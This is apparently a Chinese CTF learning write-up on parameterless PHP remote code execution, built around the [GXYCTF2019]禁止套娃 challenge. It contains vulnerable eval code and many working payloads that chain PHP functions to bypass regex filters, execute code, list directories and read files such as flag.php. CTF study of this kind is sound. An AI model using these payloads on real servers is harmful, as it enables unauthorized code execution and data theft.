无参RCE

0x00前言

刷buu的时候遇到一道题,[GXYCTF2019]禁止套娃,涉及到无参数RCE,但是我不会,记录一下学习过程。
实例

1
2
3
4
5
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) { 
eval($_GET['code']);
}
preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)
pre_match('/et|na|nt|strlen|info|path||rand|dec|bin|hex|oct|pi|exp|log/i', $code))

解析

1
2
3
4
preg_replace 的主要功能就是限制我们传输进来的必须是纯小写字母的函数,而且不能携带参数。
再来看一下:(?R)?,这个意思为递归整个匹配模式。所以正则的含义就是匹配无参数的函数,内部可以无限嵌套相同的模式(无参数函数)

preg_match的主要功能就是过滤函数,把一些常用不带参数的函数关键部分都给过滤了,需要去构造别的方法去执行命令。

说白了就是传入的参数不能含有参数

1
2
scandir('a()')//可以使用,里面没有参数
scandir('123')//不可以使用,里面有参数

所谓无参数RCE说白了就是使用一个个的函数来达到我们的目的。
例如print_r(array_reverse(scandir(current(localeconv()))))
接下来就说说由哪些方法能完成RCE
测试代码

1
2
3
4
<?php
if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
}

0x01关于无参数RCE的一些方法

方法一 利用session_id

利用http headers传参,然而http中有那么多的内容,最容易想到的估计就是cookies传递参数。
在php中有一个函数session_id可以用来获取/设置当前会话ID,并且这个值是我们可控的。但是它的使用有些限制: 文件会话管理器仅允许会话 ID 中使用以下字符:a-z A-Z 0-9 ,(逗号)和 - 减号 ,但是这并不影响我们操作。我们可以使用十六进制传入,之后使用hex2bin()函数转换即可。但是使用session_id的时候必须要开启session才可以,需要session_start
构造payload

1
2
?code=eval(hex2bin(session_id(session_start())));
hex("phpinfo();")=706870696e666f28293b

方法二 利用get_defined_vars ()函数

1
get_defined_vars():返回由所有已定义变量所组成的数组

我们通过get或者post方法,传入的参数,以及它的值可以被get_defined_vars()读出来。而且它返回的还是数组,那么我们可以通过php中的一系列对数组操作的函数来得到我们想要的值

1
2
3
4
5
6
end() - 将内部指针指向数组中的最后一个元素,并输出。
next() - 将内部指针指向数组中的下一个元素,并输出。
prev() - 将内部指针指向数组中的上一个元素,并输出。
reset() - 将内部指针指向数组中的第一个元素,并输出。
each() - 返回当前元素的键名和键值,并将内部指针向前移动。
current() -输出数组中的当前元素的值。

构造payload

1
?code=print_r(current(get_defined_vars()));&b=phpinfo();

查看最后一个数组,且eval

1
?code=eval(end(current(get_defined_vars())));&b=phpinfo();

方法三 利用getallheaders()

1
getallheaders返回当前请求的所有请求头信息

尝试写入phpinfo()

之后就可用数组操作的函数拿出phpinfo()且执行。
构造payload

1
?code=eval(next(getallheaders()));

方法四 getenv()

getenv() :获取环境变量的值(在PHP7.1之后可以不给予参数)
看简介就明白,它并不适用于PHP<7.1的版本,我的版本不合适,报了400错误,往里面传参也不行。

没有成功,好在这种方法使用限制比较多,使用也相对比较少。

方法五 scandir()

这种方法是使用比较多的,相对而言比较多变,各个函数相辅相成。

1
2
3
4
5
6
7
8
9
10
scandir()  //函数返回指定目录中的文件和目录的数组。
localeconv() //返回一包含本地数字及货币格式信息的数组。
current() //返回数组中的单元,默认取第一个值。
pos是current的别名
getcwd() //取得当前工作目录
dirname() //函数返回路径中的目录部分。
array_flip() //交换数组中的键和值,成功时返回交换后的数组
array_rand() //从数组中随机取出一个或多个单元
array_flip()和array_rand()配合使用可随机返回当前目录下的文件名
dirname(chdir(dirname()))配合切换文件路径

示例

1
2
3
4
5
6
7
8
9
print_r(scandir(dirname(getcwd()))); //查看上一级目录的文件
print_r(scandir(next(scandir(getcwd())))); //查看上一级目录的文件
show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd()))))))); //读取上级目录文件
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));//读取上级目录文件
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));//读取上级目录文件
show_source(array_rand(array_flip(scandir(chr(current(localtime(time(chdir(next(scandir(current(localeconv()))))))))))));//这个得爆破,不然手动要刷新很久,如果文件是正数或倒数第一个第二个最好不过了,直接定位
print_r(scandir(chr(ord(strrev(crypt(serialize(array()))))))); //查看和读取根目录文件
if(chdir(chr(ord(strrev(crypt(serialize(array())))))))print_r(scandir(getcwd())); //查看和读取根目录文件
print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));

由此可以看出各个函数相互利用,组合方法有很多

实例

知识不经过组合利用就不会起作用

[GXYCTF2019]禁止套娃

dirsearch扫目录得/.git 利用githack得源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>

查看代码,很明显的无参数RCE
其中(?R)引用当前表达式,后面加了?递归调用。只能匹配通过无参数的函数
scandir('.')返回当前目录,但是如何构造. 函数localeconv() 返回一包含本地数字及货币格式信息的数组。 但是其数组第一项就是.current()/pos()返回数组中的当前单元, 默认取第一个值。
构造payload

1
?exp=print_r(scandir(pos(localeconv())));

利用对数组操作的函数读取flag
利用array_reverse() 将数组内容反转一下 , 利用next()指向第二个元素,也就是flag.php

1
?exp=show_source(next(array_reverse(scandir(pos(localeconv())))));

0x02 后记

在没学习之前觉得这个知识点可能会很难,现在倒也觉得没有我想的那么难。有些东西做了才知道深浅。继续加油吧。

参考
https://blog.csdn.net/qq_38154820/article/details/107171940
https://blog.csdn.net/qq_45570082/article/details/106602261
https://xz.aliyun.com/t/9360#toc-6